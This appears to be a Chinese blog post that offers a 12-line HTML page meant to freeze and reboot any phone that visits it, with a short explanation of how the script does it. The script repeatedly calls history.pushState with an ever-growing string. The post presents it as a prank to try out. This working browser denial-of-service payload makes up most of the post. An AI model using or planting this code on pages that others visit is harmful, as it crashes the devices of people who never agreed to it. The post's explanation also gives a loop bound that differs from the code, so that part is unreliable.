12行代码让手机卡死机重启

本次为大家搞个好玩的东西,12行代码让手机卡死崩溃然后重启,把下面的代码放在一个html页面

然后在用手机访问那个页面就会卡死重启了!!!

代码如下:

<html>

<body>

<script>

var total="";

for (var i=0;i<1000000;i++)

{

total= total+i.toString();

history.pushState(0,0,total);

}

</script>

</body>

</html>

Screenshot 2017 09 23 21 49 12 060 com.estrongs.android.pop  - 12行代码让手机卡死机重启

然后给大家说说他的原理: history.pushstate()是HTML5引入的API, pushState将指定的URL添加到浏览器历史里

存储当前历史记录点。 当 i<100000 的时候会循环的将total记录到浏览器历史里面,然后会一直重复,然后就卡死。

打赏作者赞赏

IMG 20180415 105108 - 12行代码让手机卡死机重启微信赞赏IMG 20180415 105940 - 12行代码让手机卡死机重启支付宝赞赏

1 评论
留言